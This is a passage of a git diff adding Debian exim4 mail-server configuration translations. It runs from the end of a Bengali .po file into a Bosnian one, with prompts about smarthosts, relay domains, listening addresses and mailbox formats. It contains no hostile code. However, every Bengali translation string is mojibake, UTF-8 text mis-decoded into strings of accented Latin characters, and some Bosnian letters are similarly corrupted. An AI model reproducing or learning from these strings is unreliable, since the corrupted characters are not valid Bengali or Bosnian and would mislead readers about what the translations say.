বà§à¦¯à¦¬à¦¹à¦¾à¦°à¦•à¦¾à¦°à§€à¦¦à§‡à¦° জনà§à¦¯ দৃশà§à¦¯à¦®à¦¾à¦¨ ডোমেইন:" + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "" +"The option to hide the local mail name in outgoing mail was enabled. It is " +"therefore necessary to specify the domain name this system should use for " +"the domain part of local users' sender addresses." +msgstr "" +"বহি:গামী মেইলে সà§à¦¥à¦¾à¦¨à§€à§Ÿ মেইল লà§à¦•à¦¾à¦¨à§‹à¦° অপশন সকà§à¦°à¦¿à§Ÿ করা হয়েছে। ফলে à¦à¦‡ সিসà§à¦Ÿà§‡à¦® " +"সà§à¦¥à¦¾à¦¨à§€à§Ÿ বà§à¦¯à¦¬à¦¹à¦¾à¦°à¦•à¦¾à¦°à§€à¦° পà§à¦°à§‡à¦°à¦• ঠিকানার ডোমেইন অংশে যে ডোমেইন বà§à¦¯à¦¬à¦¹à¦¾à¦° করা হবে তার " +"নাম নাম উলà§à¦²à§‡à¦– করা জরà§à¦°à¦¿à¥¤" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "IP address or host name of the outgoing smarthost:" +msgstr "বহি:গামী smarthost à¦à¦° আইপি ঠিকানা বা হোসà§à¦Ÿ নাম:" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"Please enter the IP address or the host name of a mail server that this " +"system should use as outgoing smarthost. If the smarthost only accepts your " +"mail on a port different from TCP/25, append two colons and the port number " +"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " +"IPv6 addresses need to be doubled." +msgstr "" +"অনà§à¦—à§à¦°à¦¹ করে à¦à¦‡ সিসà§à¦Ÿà§‡à¦® বহি:গামী smarthost হিসেবে যেই মেইল সারà§à¦à¦¾à¦° বà§à¦¯à¦¬à¦¹à¦¾à¦° করবে " +"সেটির আইপি ঠিকানা বা হোসà§à¦Ÿ নাম দিন। যদি smarthost আপনার মেইল শà§à¦§à§à¦®à¦¾à¦¤à§à¦° TCP/25 " +"ছাড়া অনà§à¦¯ যেকোনো পোরà§à¦Ÿà§‡ গà§à¦°à¦¹à¦¨ করে, তাহলে দà§à¦Ÿà¦¿ সেমিকোলন দিন à¦à¦¬à¦‚ পোরà§à¦Ÿ নমà§à¦¬à¦° দিন " +"(উদাহরনসà§à¦¬à¦°à§à¦ª, smarthost.example::587 বা 192.168.254.254::2525)। IPv6 ঠ" +"কোলনগà§à¦²à§‹ দà§à¦¬à¦¿à¦—à§à¦¨ হতে হবে।" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"If the smarthost requires authentication, please refer to the Debian-" +"specific README files in /usr/share/doc/exim4-base for notes about setting " +"up SMTP authentication." +msgstr "" +"যদি smarthost à¦à¦° অথেনটিকেশন পà§à¦°à§Ÿà§‹à¦œà¦¨ হয়, অনà§à¦—à§à¦°à¦¹ করে SMTP অথেনটিকেশন সেটআপ " +"সমà§à¦ªà¦°à§à¦•à¦¿à¦¤ নোটের জনà§à¦¯ /usr/share/doc/exim4-base ঠডেবিয়ান-উলà§à¦²à§‡à¦–কৃত README ফাইল " +"দেখà§à¦¨à¥¤" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Root and postmaster mail recipient:" +msgstr "রà§à¦Ÿ à¦à¦¬à¦‚ পোসà§à¦Ÿà¦®à¦¾à¦¸à§à¦Ÿà¦¾à¦° মেইল পà§à¦°à¦¾à¦ªà¦•:" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Mail for the 'postmaster', 'root', and other system accounts needs to be " +"redirected to the user account of the actual system administrator." +msgstr "" +"'postmaster', 'root', à¦à¦¬à¦‚ অনà§à¦¯à¦¾à¦¨à§à¦¯ অà§à¦¯à¦¾à¦•à¦¾à¦‰à¦¨à§à¦Ÿà§‡à¦° জনà§à¦¯ মেইল আসল সিসà§à¦Ÿà§‡à¦® " +"অà§à¦¯à¦¾à¦¡à¦®à¦¿à¦¨à¦¿à¦¸à§à¦Ÿà§à¦°à§‡à¦Ÿà¦° বà§à¦¯à¦¬à¦¹à¦¾à¦°à¦•à¦¾à¦°à§€à¦° অà§à¦¯à¦¾à¦•à¦¾à¦‰à¦¨à§à¦Ÿà§‡ রিডায়রেকà§à¦Ÿ করে দিতে হবে।" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"If this value is left empty, such mail will be saved in /var/mail/mail, " +"which is not recommended." +msgstr "" +"যদি à¦à¦‡ মানটি খালি রাখা হয়, à¦à¦°à§à¦ª মেইলগà§à¦²à§‹ /var/mail/mail ঠসংরকà§à¦·à¦¨ করা হবে, যেটি " +"সà§à¦ªà¦¾à¦°à¦¿à¦¶à¦•à§ƒà¦¤ নয়।" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Note that postmaster's mail should be read on the system to which it is " +"directed, rather than being forwarded elsewhere, so (at least one of) the " +"users listed here should not redirect their mail off this machine. A 'real-' " +"prefix can be used to force local delivery." +msgstr "" +"মনে রাখবেন যে পোসà§à¦Ÿà¦®à¦¾à¦¸à§à¦Ÿà¦¾à¦°à§‡à¦° মেইল সেই সিসà§à¦Ÿà§‡à¦®à§‡ পড়া উচিত যেখানে à¦à¦Ÿà¦¿ রিডায়রেকà§à¦Ÿ " +"করা হয়েছে, অনà§à¦¯ কোথাও ফরওয়ারà§à¦¡ করার পরিবরà§à¦¤à§‡, যাতে à¦à¦–ানে তালিকাকৃত (অনà§à¦¤à¦¤ à¦à¦•à¦Ÿà¦¿) " +"বà§à¦¯à¦¬à¦¹à¦¾à¦°à¦•à¦¾à¦°à§€à¦°à¦¾ তাদের মেইল à¦à¦‡ মেশিন থেকে অনà§à¦¯ কোথাও রিডায়রেকà§à¦Ÿ না করে। à¦à¦•à¦Ÿà¦¿ " +"'real-' পà§à¦°à¦¿à¦«à¦¿à¦•à§à¦¸ দেয়া যেতে পারে সà§à¦¥à¦¾à¦¨à§€à§Ÿ ডেলিà¦à¦¾à¦°à¦¿à¦° জনà§à¦¯à¥¤" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Multiple user names need to be separated by spaces." +msgstr "à¦à¦•à¦¾à¦§à¦¿à¦• বà§à¦¯à¦¬à¦¹à¦¾à¦°à¦•à¦¾à¦°à§€ নামগà§à¦²à§‹ সà§à¦ªà§‡à¦¸ দিয়ে পৃথক করতে হবে।" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "IP-addresses to listen on for incoming SMTP connections:" +msgstr "আগত SMTP সংযোগের জনà§à¦¯ যে আইপি-ঠিকানায় শà§à¦¨à¦¤à§‡ হবে:" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"Please enter a semicolon-separated list of IP addresses. The Exim SMTP " +"listener daemon will listen on all IP addresses listed here." +msgstr "" +"অনà§à¦—à§à¦°à¦¹ করে কমা দà§à¦¬à¦¾à¦°à¦¾ পৃথককৃত আইপি-ঠিকানার à¦à¦•à¦Ÿà¦¿ তালিকা দিন। à¦à¦•à§à¦¸à¦¿à¦® SMTP শà§à¦°à§‹à¦¤à¦¾à¦°à¦¾ " +"à¦à¦–ানে তালিকাকৃত সকল আইপি-ঠিকানায় শà§à¦¨à¦¬à§‡à¥¤" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"An empty value will cause Exim to listen for connections on all available " +"network interfaces." +msgstr "à¦à¦•à¦Ÿà¦¿ খালি মান দেয়া হলে à¦à¦•à§à¦¸à¦¿à¦® সকল উপসà§à¦¥à¦¿à¦¤ নেটওয়ারà§à¦¡ ইনà§à¦Ÿà¦¾à¦°à¦«à§‡à¦¸à§‡ শà§à¦¨à¦¬à§‡à¥¤" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"If this system only receives mail directly from local services (and not from " +"other hosts), it is suggested to prohibit external connections to the local " +"Exim daemon. Such services include e-mail programs (MUAs) which talk to " +"localhost only as well as fetchmail. External connections are impossible " +"when 127.0.0.1 is entered here, as this will disable listening on public " +"network interfaces." +msgstr "" +"যদি à¦à¦‡ সিসà§à¦Ÿà§‡à¦® শà§à¦§à§ সà§à¦¥à¦¾à¦¨à§€à§Ÿ সেবা (à¦à¦¬à¦‚ অনà§à¦¯ কোন হোসà§à¦Ÿ থেকে নয়) থেকে সরাসরি মেইল " +"গà§à¦°à¦¹à¦¨ করে, আমরা পরামরà§à¦¶ দিচà§à¦›à¦¿ যে আপনি à¦à¦•à§à¦¸à¦¿à¦® ডিমনে বাহà§à¦¯à¦¿à¦• সংযোগ বাতিল করà§à¦¨à¥¤ à¦à¦°à§à¦ª " +"সেবাগà§à¦²à§‹à§Ÿ ই-মেইল পà§à¦°à§‹à¦—à§à¦°à¦¾à¦® (MUAs) অনà§à¦¤à¦°à§à¦à§‚কà§à¦¤ থাকে যা ফেচমেইলের মত লোকালহোসà§à¦Ÿà§‡à¦° " +"সাথে কথা বলে। যখন à¦à¦–ানে 127.0.0.1 পà§à¦°à¦¬à§‡à¦¶ করানো হবে তখন বাহà§à¦¯à¦¿à¦• সংযোগ অসমà§à¦à¦¬, " +"কারন à¦à¦Ÿà¦¿ পাবলিক নেটওয়ারà§à¦• ইনà§à¦Ÿà¦¾à¦°à¦«à§‡à¦¸à§‡ শোনা নিষà§à¦•à§à¦°à¦¿à§Ÿ করে দেবে।" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" +msgstr "DNS-কোয়েরির সংখà§à¦¯à¦¾ সরà§à¦¬à¦¨à¦¿à¦®à§à¦¨ রাখা হবে (পà§à¦°à§Ÿà§‹à¦œà¦¨à§‡ ডায়াল)?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"In normal mode of operation Exim does DNS lookups at startup, and when " +"receiving or delivering messages. This is for logging purposes and allows " +"keeping down the number of hard-coded values in the configuration." +msgstr "" +"অপারেশনের সাধারন মোডে à¦à¦•à§à¦¸à¦¿à¦® DNS ঠসà§à¦Ÿà¦¾à¦°à§à¦Ÿà¦†à¦ªà§‡à¦° সময়, à¦à¦¬à¦‚ যখন বারà§à¦¤à¦¾ গà§à¦°à¦¹à¦¨ করে à¦à¦¬à¦‚ " +"ডেলিà¦à¦¾à¦°à§€ করে তখন দেখে। à¦à¦Ÿà¦¿ লগিং à¦à¦° জনà§à¦¯ à¦à¦¬à¦‚ কনফিগারেশনে হারà§à¦¡-কোডেড মানের " +"সংখà§à¦¯à¦¾ কম রাখতে অনà§à¦®à¦¤à¦¿ দেয়।" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"If this system does not have a DNS full service resolver available at all " +"times (for example if its Internet access is a dial-up line using dial-on-" +"demand), this might have unwanted consequences. For example, starting up " +"Exim or running the queue (even with no messages waiting) might trigger a " +"costly dial-up-event." +msgstr "" +"যদি সরà§à¦¬à¦¦à¦¾ à¦à¦‡ সিসà§à¦Ÿà§‡à¦®à§‡à¦° à¦à¦•à¦Ÿà¦¿ DNS পূরà§à¦£ সেবা রিসলà¦à¦¾à¦° না থাকে (উদাহরনসà§à¦¬à¦°à§à¦ª, যদি à¦à¦° " +"ইনà§à¦Ÿà¦¾à¦°à¦¨à§‡à¦Ÿ সংযোগ ডায়াল-অন-ডিমানà§à¦¡ বà§à¦¯à¦¬à¦¹à¦¾à¦°à¦•à¦¾à¦°à§€ ডায়াল-আপ লাইন হয়), à¦à¦Ÿà¦¿ অপà§à¦°à§Ÿà§‹à¦œà¦¨à§€à§Ÿ " +"ফলাফল ধারন করতে পারে। উদাহরনসà§à¦¬à¦°à§à¦ª, à¦à¦•à§à¦¸à¦¿à¦® সà§à¦Ÿà¦¾à¦°à§à¦Ÿ বা কিউ রান করা হলে à¦à¦° ফলে দামী " +"ডায়াল-আপ-ইà¦à§‡à¦¨à§à¦Ÿ শà§à¦°à§ হতে পারে।" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"This option should be selected if this system is using Dial-on-Demand. If it " +"has always-on Internet access, this option should be disabled." +msgstr "" +"যদি পà§à¦°à§Ÿà§‹à¦œà¦¨à§‡ ডায়াল বà§à¦¯à¦¬à¦¹à¦¾à¦° করা হয় তাহলে à¦à¦‡ অপশন নিরà§à¦¬à¦¾à¦šà¦¨ করা উচিত। যদি à¦à¦Ÿà¦¿à¦° " +"সরà§à¦¬à¦¦à¦¾ ইনà§à¦Ÿà¦¾à¦°à¦¨à§‡à¦Ÿ সংযোগ থাকে তাহলে à¦à¦‡ অপশন নিষà§à¦•à§à¦°à¦¿à§Ÿ করা উচিত।" + +#. Type: title +#. Description +#: ../exim4-config.templates:12001 +msgid "Mail Server configuration" +msgstr "মেইল সারà§à¦à¦¾à¦° কনফিগারেশন" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "Split configuration into small files?" +msgstr "কনফিগারেশন ছোট ফাইলে সà§à¦ªà§à¦²à¦¿à¦Ÿ করা হবে?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"The Debian exim4 packages can either use 'unsplit configuration', a single " +"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " +"where the actual Exim configuration files are built from about 50 smaller " +"files in /etc/exim4/conf.d/." +msgstr "" +"ডেবিয়ান exim4 পà§à¦¯à¦¾à¦•à§‡à¦œ 'unsplit configuration', à¦à¦•à¦Ÿà¦¿ à¦à¦•à¦• monolithic ফাইল (/etc/" +"exim4/exim4.conf.template) বা 'split configuration' বà§à¦¯à¦¬à¦¹à¦¾à¦° করতে পারে, যেখানে " +"আসল à¦à¦•à§à¦¸à¦¿à¦® কনফিগারেশনটি /etc/exim4/conf.d/ à¦à¦° পà§à¦°à¦¾à§Ÿ ৫০ টি ছোট ফাইল দà§à¦¬à¦¾à¦°à¦¾ গঠিত।" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"Unsplit configuration is better suited for large modifications and is " +"generally more stable, whereas split configuration offers a comfortable way " +"to make smaller modifications but is more fragile and might break if " +"modified carelessly." +msgstr "" +"আনসà§à¦ªà§à¦²à¦¿à¦Ÿ কনফিগারেশন বড় মোডিফিকেশনের জনà§à¦¯ তà§à¦²à¦¨à¦¾à¦®à§‚লক বেশি মানানসই à¦à¦¬à¦‚ সাধারনত বেশি " +"সà§à¦Ÿà§à¦¯à¦¾à¦¬à¦², যেখানে সà§à¦ªà§à¦²à¦¿à¦Ÿ কনফিগারেশন ছোট মডিফিকেশনের জনà§à¦¯ à¦à¦•à¦Ÿà¦¿ আরামদায়ক উপায় দেয় " +"কিনà§à¦¤à§ à¦à¦Ÿà¦¿ বেশি à¦à¦™à§à¦—à§à¦° à¦à¦¬à¦‚ ঠিকমতো মডিফাই করা না হলে à¦à§‡à¦™à§à¦—ে যেতে পারে।" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"A more detailed discussion of split and unsplit configuration can be found " +"in the Debian-specific README files in /usr/share/doc/exim4-base." +msgstr "" +"সà§à¦ªà§à¦²à¦¿à¦Ÿ à¦à¦¬à¦‚ আনসà§à¦ªà§à¦²à¦¿à¦Ÿ কনফিগারেশনের আরো বিসà§à¦¤à¦¾à¦°à¦¿à¦¤ বরà§à¦¨à¦¨à¦¾ পাওয়া যাবে /usr/share/doc/" +"exim4-base ঠডেবিয়ান-উলà§à¦²à§‡à¦–িত README ফাইলে।" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "Hide local mail name in outgoing mail?" +msgstr "বহি:গামী মেইলে সà§à¦¥à¦¾à¦¨à§€à§Ÿ মেইলের নাম লà§à¦•à¦¾à¦¨à§‹ হবে?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "" +"The headers of outgoing mail can be rewritten to make it appear to have been " +"generated on a different system. If this option is chosen, '${mailname}', " +"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" +"Path are rewritten." +msgstr "" +"বহি:গামী মেইলের হেডারকে অনà§à¦¯ সিসà§à¦Ÿà§‡à¦®à§‡ তৈরি করে দেখানোর জনà§à¦¯ পà§à¦¨:লিখন করা যায়। " +"যদি à¦à¦‡ অপশনটি নিরà§à¦¬à¦¾à¦šà¦¨ করা হয়, পà§à¦°à§‡à¦°à¦•, জবাব, à¦à¦¬à¦‚ ফেরতের পাথে '${mailname}', " +"'localhost' à¦à¦¬à¦‚ '${dc_other_hostnames}' পà§à¦¨:লিখন করা হবে।" + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "mbox format in /var/mail/" +msgstr "/var/mail/ ঠmbox ফরমà§à¦¯à¦¾à¦Ÿ" + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "Maildir format in home directory" +msgstr "হোম ডিরেকà§à¦Ÿà¦°à¦¿à¦¤à§‡ Maildir ফরমà§à¦¯à¦¾à¦Ÿ" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "Delivery method for local mail:" +msgstr "সà§à¦¥à¦¾à¦¨à§€à§Ÿ মেইলের জনà§à¦¯ ডেলিà¦à¦¾à¦°à§€ মেথড:" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Exim is able to store locally delivered email in different formats. The most " +"commonly used ones are mbox and Maildir. mbox uses a single file for the " +"complete mail folder stored in /var/mail/. With Maildir format every single " +"message is stored in a separate file in ~/Maildir/." +msgstr "" +"à¦à¦•à§à¦¸à¦¿à¦® সà§à¦¥à¦¾à¦¨à§€à§Ÿà¦à¦¾à¦¬à§‡ ডেলিà¦à¦¾à¦°à§€ করা à¦à¦¿à¦¨à§à¦¨ ফরমà§à¦¯à¦¾à¦Ÿà§‡à¦° ইমেইল সà§à¦Ÿà§‹à¦° করতে সমরà§à¦¥à¥¤ সবচেয়ে " +"বেশি বà§à¦¯à¦¬à¦¹à§ƒà¦¤à¦—à§à¦²à§‹ হলো mbox à¦à¦¬à¦‚ Maildir। mbox /var/mail/ ঠসà§à¦Ÿà§‹à¦° করা মেইল ফোলà§à¦¡à¦¾à¦°à§‡à¦° " +"জনà§à¦¯ à¦à¦•à¦Ÿà¦¿ à¦à¦•à¦• ফাইল বà§à¦¯à¦¬à¦¹à¦¾à¦° করে। Maildir à¦à¦° জনà§à¦¯ পà§à¦°à¦¤à¦¿à¦Ÿà¦¾ ফাইল ~/Maildir/ ঠআলাদা " +"ফাইলে সà§à¦Ÿà§‹à¦° করা হয়।" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Please note that most mail tools in Debian expect the local delivery method " +"to be mbox in their default." +msgstr "" +"অনà§à¦—à§à¦°à¦¹ করে মনে রাখবেন যে ডেবিয়ানে বেশিরà¦à¦¾à¦— টà§à¦² ডিফলà§à¦Ÿà¦à¦¾à¦¬à§‡ আশা করে যে সà§à¦¥à¦¾à¦¨à§€à§Ÿ " +"ডেলিà¦à¦¾à¦°à§€ মেথড হবে mbox।" diff --git a/debian/po/bs.po b/debian/po/bs.po new file mode 100644 index 0000000..20bb6ed --- /dev/null +++ b/debian/po/bs.po @@ -0,0 +1,812 @@ +# +# Translators, if you are not familiar with the PO format, gettext +# documentation is worth reading, especially sections dedicated to +# this format, e.g. by running: +# info -n '(gettext)PO Files' +# info -n '(gettext)Header Entry' +# +# Some information specific to po-debconf are available at +# /usr/share/doc/po-debconf/README-trans +# or http://www.debian.org/intl/l10n/po-debconf/README-trans +# +# Developers do not need to manually edit POT or PO files. +# +msgid "" +msgstr "" +"Project-Id-Version: exim4_debian\n" +"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" +"POT-Creation-Date: 2007-07-18 08:29+0200\n" +"PO-Revision-Date: 2006-11-01 18:31+0100\n" +"Last-Translator: Safir Secerovic <sapphire@linux.org.ba>\n" +"Language-Team: Bosnian <lokal@linux.org.ba>\n" +"Language: bs\n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=utf-8\n" +"Content-Transfer-Encoding: 8bit\n" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +#, fuzzy +msgid "Remove undelivered messages in spool directory?" +msgstr "Ukloniti neisporuÄena pisma iz spool direktorija?" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +#, fuzzy +msgid "" +"There are e-mail messages in the Exim spool directory /var/spool/exim4/" +"input/ which have not yet been delivered. Removing Exim will cause them to " +"remain undelivered until Exim is re-installed." +msgstr "" +"U exim spool direktoriju /var/spool/exim4/input nalaze se pisma koja joÅ¡ " +"nisu isporuÄena. Uklanjanje Exima će uzrokovati da ostanu neisporuÄena do " +"reinstalacije Exima." + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +#, fuzzy +msgid "" +"If this option is not chosen, the spool directory is kept, allowing the " +"messages in the queue to be delivered at a later date after Exim is re-" +"installed." +msgstr "" +"Ako se odabere ova opcija, spool direktorij se zadržava, omogućujući pismima " +"u redu da budu isporuÄena nekad kasnije, nakon reinstalacije Exim-a." + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "Reconfigure exim4-config instead of this package" +msgstr "RekonfiguriÅ¡i exim4-config umjesto ovog paketa" + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +#, fuzzy +msgid "" +"Exim4 has its configuration factored out into a dedicated package, exim4-" +"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." +msgstr "" +"Postavke kod Exim4 su izmjeÅ¡tene u zasebni paket, exim4-config. Ako želite " +"rekonfigurisati Exim4, koristite dpkg-reconfigure exim4-config." + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "internet site; mail is sent and received directly using SMTP" +msgstr "internet stranica; poÅ¡ta se Å¡alje i prima direktno koristeći SMTP" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; received via SMTP or fetchmail" +msgstr "poÅ¡ta se Å¡alje preko smarthosta; prima se preko SMTP-a ili fetchmail-a" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; no local mail" +msgstr "poÅ¡ta se Å¡alje preko smarthosta; nema lokalne poÅ¡te" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "local delivery only; not on a network" +msgstr "samo lokalna isporuka; nije u mreži" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "no configuration at this time" +msgstr "ne konfiguriÅ¡i sada" + +# Type: select +# Description +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "General type of mail configuration:" +msgstr "OpÅ¡ti tip konfiguracije poÅ¡te:" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Please select the mail server configuration type that best meets your needs." +msgstr "" +"Odaberite tip konfiguracije mail servera koji najbolje odgovara vaÅ¡im " +"potrebama." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +#, fuzzy +msgid "" +"Systems with dynamic IP addresses, including dialup systems, should " +"generally be configured to send outgoing mail to another machine, called a " +"'smarthost' for delivery because many receiving systems on the Internet " +"block incoming mail from dynamic IP addresses as spam protection." +msgstr "" +"Sistemi sa dinamiÄkim IP adresama, ukljuÄujući dialup sisteme bi u opÅ¡tem " +"sluÄaju trebali biti podeÅ¡eni da Å¡alju odlaznu poÅ¡tu drugoj maÅ¡ini koja se " +"zove \"smarthost\" radi isporuke, zbog toga Å¡to mnogi prijemni sistemi na " +"Internetu blokiraju dolaznu poÅ¡tu koja stiže s dinamiÄkih IP adresa kao " +"sredstvo zaÅ¡tite od spama." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"A system with a dynamic IP address can receive its own mail, or local " +"delivery can be disabled entirely (except mail for root and postmaster)." +msgstr "" +"Sistem s dinamiÄkom IP adresom može primati vlastitu poÅ¡tu, ili se lokalna " +"isporuka može u potpunosti iskljuÄiti (osim poÅ¡te za root i postmaster)." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "Really leave the mail system unconfigured?" +msgstr "Da li zaista želite ostaviti poÅ¡tanski sistem nepodeÅ¡en?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +#, fuzzy +msgid "" +"Until the mail system is configured, it will be broken and cannot be used. " +"Configuration at a later time can be done either by hand or by running 'dpkg-" +"reconfigure exim4-config' as root." +msgstr "" +"Dok poÅ¡tanski sistem ne bude podeÅ¡en, biti će neispravan i neće se moći " +"koristiti. Podesiti se može nekad kasnije ili ruÄno ili pokretanjem \"dpkg-" +"reconfigure exim4-config\" kao root." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "System mail name:" +msgstr "Naziv poÅ¡tanskog sistema:" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +#, fuzzy +msgid "" +"The 'mail name' is the domain name used to 'qualify' mail addresses without " +"a domain name." +msgstr "" +"\"mail name\" predstavlja domain name koriÅ¡ten za \"qualify" +"\" (kvalifikaciju) mail (poÅ¡tanskih) adresa koje nemaju domain name." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +#, fuzzy +msgid "" +"This name will also be used by other programs. It should be the single, " +"fully qualified domain name (FQDN)." +msgstr "" +"Ovaj naziv će takoÄ‘e koristiti drugi programi. Trebao bi biti jedinstven, " +"potpuni domain name (FQDN)." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +#, fuzzy +msgid "" +"Thus, if a mail address on the local host is foo@example.org, the correct " +"value for this option would be example.org." +msgstr "" +"Na primjer, ako je mail adresa na lokalnom raÄunaru foo@domain.example, onda " +"bi ispravna vrijednost za ovu opciju bila domain.example." + +# Type: string +# Description +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +#, fuzzy +msgid "" +"This name won't appear on From: lines of outgoing messages if rewriting is " +"enabled." +msgstr "" +"Ovaj naziv se neće pojavljivati na Od: stavkama odlaznih pisama ako " +"ukljuÄite ponovno upisivanje." + +# Type: string +# Description +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "Other destinations for which mail is accepted:" +msgstr "Druge destinacije za koje se poÅ¡ta prihvata:" + +# Type: string +# Description +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +#, fuzzy +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"machine should consider itself the final destination. These domains are " +"commonly called 'local domains'. The local hostname (${fqdn}) and " +"'localhost' are always added to the list given here." +msgstr "" +"Molim unesite spisak razdovojen taÄka-zarezom domena primalaca za koje će se " +"ovaj sistem smatrati konaÄnim odrediÅ¡tem, osim lokalnog hostname-a (${fqdn}) " +"i \"localhost\". Ove domene se obiÄno nazivaju \"lokalne domene\"." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"By default all local domains will be treated identically. If both a.example " +"and b.example are local domains, acc@a.example and acc@b.example will be " +"delivered to the same final destination. If different domain names should be " +"treated differently, it is necessary to edit the config files afterwards." +msgstr "" +"UobiÄajeno je da se sve lokalne domene tretiraju isto. Ako su a.example i b." +"example lokalne domene, acc@a.example i acc@b.example će biti dostavljena " +"istoj konaÄnoj destinaciji. Ako želite da se razliÄiti lokalne domene " +"tretiraju razliÄito, trebate urediti konfiguracijske datoteke poslije." + +# Type: string +# Description +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Domains to relay mail for:" +msgstr "Domene za koje će se isporuÄivati poÅ¡ta:" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"system will relay mail, for example as a fallback MX or mail gateway. This " +"means that this system will accept mail for these domains from anywhere on " +"the Internet and deliver them according to local delivery rules." +msgstr "" +"Molim unesite spisak razdovojen taÄka-zarezom domena primalaca za koje će " +"ovaj sistem prenositi poÅ¡tu, na primjer kao zamjena MX ili mail gateway. To " +"znaÄi da će ovaj sistem prihvatati poÅ¡tu za ove domene odsvuda sa Interneta " +"i isporuÄivati ju u skladu s lokalnim pravilima isporuke." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Do not mention local domains here. Wildcards may be used." +msgstr "Ne stavljajte lokalne domene ovdje. Možete koristiti džokere." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "Machines to relay mail for:" +msgstr "MaÅ¡ine za koje će se isporuÄivati poÅ¡ta:" + +#. Type: string 